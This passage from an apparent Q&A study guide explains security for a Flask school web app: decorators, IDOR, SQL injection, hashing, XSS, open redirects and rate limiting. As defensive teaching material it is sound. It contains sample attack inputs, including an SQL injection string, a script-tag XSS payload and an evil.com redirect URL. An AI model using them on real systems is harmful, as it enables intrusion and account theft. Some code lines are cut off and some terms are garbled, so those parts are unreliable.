**Implementation:** We do not hardcode "If user == Bob". We adhere to "If user.role == Admin". This scales. If we hire a new administrator, we just assign the role.

---

#### Q44: Explain the `@login_required` decorator.

**Complete Answer:** Provided by Flask-Login.

**Logic:**

1. Intercepts the request before it reaches the view function.
2. Checks `current_user.is_authenticated`.
3. **If False:** Aborts request. Redirects to `login_manager.login_view (/login)`. Adds `?next=/target` to URL.
4. **If True:** Allows execution to proceed to the route.

**Benefit:** We don't need to write `if not logged_in: return redirect` in every single function.

---

**Q45: How did you implement Custom Decorators (@admin\_required)?**

**Complete Answer:** We needed granular control beyond just "logged in".

**Code Breakdown:**

```
from functools import wraps

def admin_required(f):
    @wraps(f)  # Preserves the metadata of the original function
    def decorated_function(*args, **kwargs):
        # 1. Check Login
        if not current_user.is_authenticated:
            return redirect(url_for('login'))

        # 2. Check Role
        if current_user.role != 'admin':
            flash("Unauthorized access!", "danger")
            return redirect(url_for('index'))

        # 3. Proceed
        return f(*args, **kwargs)
    return decorated_function
```

**Usage:** `@admin_required` placed *after* `@app.route`.

---

**Q46: Why `functools.wraps`?**

**Complete Answer:** When you decorate a function, you effectively replace `my_view` with `decorated_function`. Without `@wraps(f)`, the function name becomes `decorated_function` and the docstring is lost. **Critical in Flask:** Flask uses the function name as the "Endpoint" map. If all your views are named `decorated_function`, Flask will crash because it can't distinguish between them. `wraps` copies the `__name__` and `__doc__` back.

---

**Q47: Security of IDOR (Insecure Direct Object Reference).**

**Complete Answer: Vulnerability:** URL `/booking/delete/105`. Attacker changes ID to 106. If code just deletes `Booking.query.get(106)`, they deleted someone else's booking.

## Our Defense:

```
booking = Booking.query.get(id)
# Authorization Check
if booking.parent_id != current_user.id and current_user.role != 'admin':
    abort(403)
```

We explicitly verify ownership before taking action.

---

## Q48: Explain SQL Injection and how ORM prevents it.

**Complete Answer: Attack:** User inputs ' OR '1'='1 into login field. Raw SQL: `SELECT * FROM users WHERE name = ' OR '1'='1' -> Returns all users.`

**ORM Defense (SQLAlchemy):** When we do

`User.query.filter_by(username=input).first()`, SQLAlchemy does **not** concatenate strings. It uses **Parameterized Queries** (DB-API). It sends the query template `SELECT * FROM users WHERE username = ?` and passes the input as a separate data packet. The database treats the input strictly as a *value*, never as *executable code*.

---

## Q49: How are passwords stored? (Scrypt vs bcrypt vs MD5)

**Complete Answer:** Storing plain text is negligent. Storing MD5/SHA1 (fast hashes) is dangerous due to speed (billions/sec).

**Our Choice:** Scrypt (via `werkzeug.security`). **Why Scrypt:** It is a **Memory-Hard** function. It requires significant RAM to compute. This makes it resistant to **ASIC/GPU hardware acceleration**. Even if an attacker has a supercomputer, they cannot parallelize the cracking process efficiently. Better than bcrypt for this reason.

---

## Q50: What is a Salt and why is it needed?

**Complete Answer: Problem:** If two users have the same password "password123", they get the same Hash. Attacker uses "Rainbow Tables" (precomputed hashes) to instantly reverse common passwords.

**Solution (Salt):** A random string added to the password before hashing. `Hash = Scrypt>Password + Salt` Since the salt is random for *every user*, "password123" yields a different hash for User A and User B. Werkzeug handles this automatically: The formatted hash string includes the method, salt, and hash `scrypt:32768:8:1$SaltStr$HashStr`.

---

## Q51: What dictates Password Strength?

**Complete Answer:** Currently, we accept any password. **Improvement:** We should enforce complexity.

- Minimum 12 characters (Length is most important factor).
- Mix of case/numbers.
- Check against HaveIBeenPwned API (prohibiting breached passwords).

**Why:** Even the best Hashing (Scrypt) cannot save a password like "123456". It will be guessed in milliseconds.



---

## Q52: Explain `flash()` messages safety.

**Complete Answer:** Flask `flash()` stores messages in the session cookie to survive the redirect. **Security Risk:** If checking inputs and flashing them back (`flash(f"Invalid input: {user_input}")`), we create a reflected XSS vulnerability if the template renders it raw `{{ message|safe }}`. **Defense:** Jinja2 auto-escapes by default. We must never use `|safe` on user-controlled flash messages.

---

## Q53: How do you secure File Uploads?

**Complete Answer:** If a user uploads `exploit.php` and we save it to a public folder, they can run it.

**Defenses:**

1. **Rename:** Always rename files (UUID). Never keep original name.
  2. **Validation:** Check File Extension (`.png` not `.php`) AND Magic Bytes (Header).
  3. **Storage:** Store outside the web root (people cannot request it directly).
  4. **Serving:** Serve through a route that checks permissions.
- 

## Q54: What is Cross-Origin Resource Sharing (CORS)?

**Complete Answer:** Browsers block request from Domain A (React App) to Domain B (Flask API) by default. **Scenario:** If we built a mobile app, it would fail to fetch data. **Solution:** Server sends header `Access-Control-Allow-Origin: *`. **Security:** Be specific! `Access-Control-Allow-Origin: https://myapp.com`. Never use `*` if sending credentials (cookies).

---

## Q55: What is "Clickjacking"?

**Complete Answer:** (Covered in Q41 with `X-Frame-Options`, but expanded). It is a UI Redress Attack. **Defense in Depth:** Content Security Policy: `frame-ancestors 'none';`. This is the modern replacement for `X-Frame-Options`.

---

## Q56: Audit Logging - Why and How?

**Complete Answer:** **Why:** If an Admin deletes a user, we need to know *which* admin and *when*. **How:** Create `AuditLog` model (`actor_id`, `action`, `target_id`, `timestamp`, `ip_address`). Decorator `@log_action` to auto-record events. Critical for accountability and post-incident forensics.

---

## Q57: How to Handle "Forgot Password" securely?

**Complete Answer:**

1. User enters email.
2. Generate cryptographically secure random token.
3. Save token in DB with Expiry (15 mins).
4. Email Link: `/reset-password?token=XYZ`.

5. On click: Validate token exists and !expired.
  6. Allow password set.
  7. **Crucial:** Invalidate token immediately after use. **Risk:** If token logic is weak (predictable), attacker can reset any password.
- 

#### Q58: What is "Credential Stuffing"?

**Complete Answer:** Attackers take valid username/passwords leaked from *another* site (e.g., LinkedIn breach) and try them on *our* site. **Defense:** Rate limiting (5 failed attempts locks account). Multi-Factor Authentication (MFA).

---

#### Q59: Explain 2-Factor Authentication (2FA).

**Complete Answer:** Something you Know (Password) + Something you Have (Phone/Token). **Implementation:**

- TOTP (Time-based One Time Password) via Google Authenticator.
  - Library: `pyotp`.
  - Server shares Secret Key (QR Code).
  - User proves possession by entering current 6-digit code.
  - Server verifies code against Secret + Time.
- 

#### Q60: Difference between Authentication (AuthN) and Authorization (AuthZ).

**Complete Answer:**

- **Authentication:** "Who are you?" (Login, Password, Identity). Verified via `login_user()`.
  - **Authorization:** "What are you allowed to do?" (Permissions, Roles). Verified via `@admin_required`. You can be Authenticated (logged in) but not Authorized (view admin panel).
- 

#### Q61: Explain "Principle of Least Privilege".

**Complete Answer:** Every module/user should only have the access necessary for its legitimate purpose.

- Application: Should not run as root.
  - Database User: Should not have `DROP TABLE`.
  - Admin: Should separate "Super Admin" (System config) from "Moderator" (User management).
- 

#### Q62: Security Misconfiguration (OWASP Top 10).

**Complete Answer:** Common flaw: Leaving default settings.

- `DEBUG = True` in prod.
  - Default keys.
  - Open cloud buckets. **Defense:** Hardening checklist before deployment. Automated scans.
-

### Q63: Explain "Sensitive Data Exposure".

**Complete Answer:** Leaking PII (Personally Identifiable Information).

- **At Rest:** Encrypt the database volume (AWS disk encryption). Hash passwords.
  - **In Transit:** TLS (HTTPS).
  - **In Logs:** Ensure we don't log password or credit\_card.
- 

### Q64: What is a "Timing Attack"?

**Complete Answer:** Attacker measures how long the server takes to respond to guess data.

**Example:** Password Check. `if input == real_password:` If we compare character-by-character, "A...." returns faster (fails at char 1) than "P...." (fails at char 10). **Defense:** Use Constant Time Comparison (`hmac.compare_digest`). `check_password_hash` does this.

---

### Q65: Logic: Explain Python Decorators syntax @.

**Complete Answer:** `@decorator` is syntactic sugar.

```
@login_required
def view(): ...
```

Is exactly composed as:

```
view = login_required(view)
```

It passes the function *into* the decorator function, and assigns the *result* (variable) back to the original name.

### Q66: Code: Explain `check_password_hash`.

**Complete Answer:** Function from `werkzeug.security`. **Input:** (Stored Hash, Plaintext Input). **Process:**

1. Extracts salt and parameters from the stored hash string.
  2. Hashes the Plaintext Input using the *same* salt and parameters.
  3. Compares the result with the stored hash. **Returns:** `True` if match, `False` other.
- Security:** Uses constant-time comparison to prevent timing attacks.
- 

### Q67: Vulnerability: Directory Listing.

**Complete Answer:** If a user goes to `/static/images/`, the server might list all files. **Risk:** Attacker sees files we didn't intend to be public (backup.zip). **mitigation:** Web Server (Nginx/Apache) configuration `autoindex off`. Flask's dev server does not list directories by default.

---

### Q68: Security: Mass Assignment.

**Complete Answer: Vulnerability:** User submits form with `role=admin` added to the HTML fields. Code `user = User(**request.form)` blindly copies all fields to the model.

**Result:** User becomes admin. **Fix:** Explicitly picking fields. `user.username = form.username.data` `user.email = form.email.data` We never copy raw dicts into

sensitive models.

---

### Q69: Logic: Admin Dashboard Security.

**Complete Answer:** The Admin panel is the most sensitive area. **Defenses:**

1. **Authentication:** Must be logged in.
  2. **Authorization:** Must have `role='admin'`.
  3. **UI Hiding:** We hide the link in the navbar for non-admins, but we *also* protect the route. (Security through Obscurity is not enough).
- 

### Q70: Explain "Salted" vs "Unsalted" Hash.

**Complete Answer:**

- **Unsalted:** `MD5("password") -> 5f4dcc3b...`
    - Same password always has same hash.
    - Vulnerable to lookup tables.
  - **Salted:** `Script("password" + "random_salt") -> script$random_salt$hash...`
    - Same password has different hash every time.
    - Forces attacker to crack each user individually.
- 

### Q71: Code: `current_user` implementation.

**Complete Answer:** `current_user` is a Local Proxy provided by Flask-Login.

- It acts like a global variable, but it is thread-local.
  - In Request A, it refers to User A.
  - In Request B (parallel), it refers to User B.
  - It is available in all Templates automatically.
- 

### Q72: Security: Logging Sensitive Data.

**Complete Answer:** Reviewing logs is important, but dangerous. **Bad:** `print(f"User login attempt: {password}")`. **Good:** `print(f"User login attempt: {username}")`. If we log passwords, and our logs leak (or are stored in plaintext on disk), we have compromised our users.

---

### Q73: Security: "Man-in-the-Middle" (MITM).

**Complete Answer:** Attacker sits between User and Server (e.g., Compromised Router).

**Defense:** HTTPS (TLS). The attacker sees encrypted traffic. They cannot read the Session Cookie or Password. If the certificate is invalid, the browser warns the user.

---

### Q74: Design: User Enumeration.

**Complete Answer: Vulnerability:** Login page says "User does not exist" vs "Wrong Password". **Attacker:** Can write a script to guess usernames until they find valid ones. **Fix:** Generic messages. "Invalid email or password."

---

#### Q75: Code: How does Flask-Login perform User Loading?

**Complete Answer:** We define a callback:

```
@login_manager.user_loader
def load_user(id):
    return Parent.query.get(int(id)) or Admin.query.get(int(id)) or Tut
```

Flask-Login calls this on *every* request to turn the Session ID back into a User Object. Our implementation checks all 3 tables because we have separate tables for roles.

---

#### Q76: Security: Preventing Brute Force.

**Complete Answer:** (Covered briefly in Credential Stuffing). **Mechanism:** Use Flask-Limiter. `@limiter.limit("5/minute")` on the `/login` route. If IP exceeds, return 429 Too Many Requests.

---

#### Q77: Logic: Why separated tables (Parent, Admin, Tutor) vs Single User table?

**Complete Answer: Design Choice:** Separation. **Pros:** Distinct attributes (Child info for Parent, Subject for Tutor). Cleaner models. **Cons:** Complex login logic (checking 3 tables). **Alternative:** Single User table with `role` column and Polymorphic Association for extra profile data. For this scale, separate tables was simpler for specific requirements.

---

#### Q78: Explanation: "Security through Obscurity".

**Complete Answer:** Relying on "The attacker doesn't know the URL" (e.g., Hidden Admin Panel `/super-secret-admin`). **Verdict:** Bad practice. URLs can be found via brute force, history, logs. **Solution:** Strong Access Control (RBAC) regardless of URL knowledge.

---

#### Q79: Vulnerability: Open Redirect.

**Complete Answer: Scenario:** Login page redirects to next parameter. `https://school.com/login?next=http://evil.com`. User logs in -> Redirected to Evil keys -> Phishing. **Fix:** Validate that next is a relative URL (`/dashboard`) or matches our domain. Werkzeug offers `is_safe_url` helper.

---

#### Q80: Code: `safe_url` logic.

**Complete Answer:**

```
from urllib.parse import urlparse, urljoin
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urljoin(urlparse(request.host_url), target)
    return test_url.scheme in ('http', 'https') and ref_url.netloc == t
```

---

### Q81: Logic: How do we securely logout?

**Complete Answer:** Call `logout_user()`. This deletes the Session Cookie from the browser. **Crucial:** The session should also be invalidated server-side if using server-side sessions. Since we use cookies, deleting it is sufficient (unless attacker saved a copy, then we rely on expiry).

---

### Q82: Security: What if Database is Leaked?

**Complete Answer:** Assume the worst: SQL dump is public.

1. **Passwords:** Hashed with Scrypt. Safe from immediate use.
  2. **Emails:** Leaked. Spam risk.
  3. **Names:** Leaked. Privacy breach. **Defense:** Encrypt specific columns (PII) at application level (Advanced). Minimization (don't store DOB if not needed).
- 

### Q83: Vulnerability: XSS in 'Bio' field.

**Complete Answer:** If Tutors can write a "Bio" and we render it. **Input:** `Hello <script>alert(1)</script>`. **Output:** Script executes on parent's browser. **Defense:** Jinja2 Auto-escaping. It renders `<script>`. If we needed rich text, we would use a library like Bleach to sanitize allowed tags (`<b>`, `<i>`) and strip scripts.

---

### Q84: Explain "Hash Collision".

**Complete Answer:** Two different inputs producing same hash. MD5 has collisions. SHA-256 / Scrypt theoretically have collisions but probability is effectively zero. **Impact:** If collision found, attacker can spoof password. Hence using modern strong hashes.

---

### Q85: Security: Dependency Vulnerabilities.

**Complete Answer:** What if Flask-Login has a bug? **Defense:** Dependabot / Snyk. Tools scans `requirements.txt` against CVE (Common Vulnerabilities and Exposures) database. We must update python packages regularly.

---

### Q86: Code: `validate_on_submit()`.

**Complete Answer:** Method in Flask-WTF. Checks:

1. Request is POST.
  2. CSRF Token is valid.
  3. All field validators (Email, DataRequired) pass. Returns `True` only if safe to proceed.
- 

### Q87: Design: What is OAuth?

**Complete Answer:** "Login with Google". **Mechanism:** We delegate authentication to Google. Google restricts access and sends us a token. **Benefit:** We don't handle passwords. **Drawback:** Complexity. Reliance on Google (if Google down, nobody logs in).

---

### Q88: Security: DoS (Denial of Service).

**Complete Answer:** Attacker floods server. **Application Defense:**

- Expensive operations (Hashing) take CPU.
  - Attacker sends random login requests. CPU spikes.
  - Defense: Rate Limiting (Flask-Limiter) and Captcha.
- 

### Q89: Logic: Admin creation.

**Complete Answer:** Admins should not be able to register publicly. **Strategy:**

1. Seed script: `python manage.py create_admin`.
  2. Route protected by `@admin_required`: Existing admin can create new admin.
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### Q90: Security: URL Parameters vs Body.

**Complete Answer:** Never put sensitive data in URL (`/login?pass=123`). **Why:** URLs are saved in Browser History, Proxy Logs, Server Access Logs. **Correct:** Use POST body (encrypted in HTTPS, not logged).

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### Q91: Explain "Privilege Escalation".

**Complete Answer:** User finding a way to become Admin. **Vertical:** Low role to High role. **Horizontal:** Accessing another user's data (IDOR). **Defense:** Strict testing of `@admin_required` on every sensitive route.

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### Q92: Troubleshooting: "400 Bad Request: CSRF Token Missing".

**Complete Answer: Cause:**

1. Forgot `{{ form.hidden_tag() }}` in template.
  2. Session expired (Token gone).
  3. Cookies disabled. **Fix:** Add tag, ensure cookies enabled.
- 

### Q93: Security: Input Validation.

**Complete Answer:** Sanitize everything coming from outside.

- `int(id)`: Ensures ID is number.
  - `trim()` string.
  - Whitelist values (`role in ['admin', 'parent']`).
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### Q94: Design: Secret Key Rotation.

**Complete Answer:** If `SECRET_KEY` is compromised.

1. Change Key in config.
2. **Impact:** All existing sessions become invalid immediately. Users logged out. This is a feature, not a bug (Kill switch).

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**Q95: Code: DataRequired vs InputRequired.**

**Complete Answer:** Flask-WTF validators.

- DataRequired: Checks content exists AND is not whitespace strings.
  - InputRequired: Just checks input was sent. **Choice:** DataRequired prevents " " as a name.
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**Q96: Security: HTTP Verbs.**

**Complete Answer:** Using GET for state-changing actions (/delete?id=1) is dangerous (CSRF, crawlers triggering it). **Rule:** GET for read. POST/PUT/DELETE for write.

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**Q97: Security: Error Messages.**

**Complete Answer:** Production 500 Page. Should say: "Internal Error". Should NOT say: `KeyError at line 50: 'password'`. **Why:** Stack trace helps attacker understand code structure.

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**Q98: Code: String Comparison.**

**Complete Answer:** `if user.role == 'admin':` Python string comparison is safe. For crypto strings (tokens), use `hmac.compare_digest`.

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**Q99: Security: CAPTCHA.**

**Complete Answer:** Completely Automated Public Turing test to tell Computers and Humans Apart. **Use:** On Registration / Login. **Prevents:** Automated bots. (Google Recaptcha v3 is invisible/scoring based).

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**Q100: Final Review: Security vs Usability.**

**Complete Answer:** Security is always a trade-off.

- Too strict (20 char passwords, 2FA, 5 min timeout) = User frustration.
- Too loose (No CSRF, weak password) = Hacked. **Balance:** We optimized for a school context (Standard security, persistent sessions for convenience, but strong backend locking).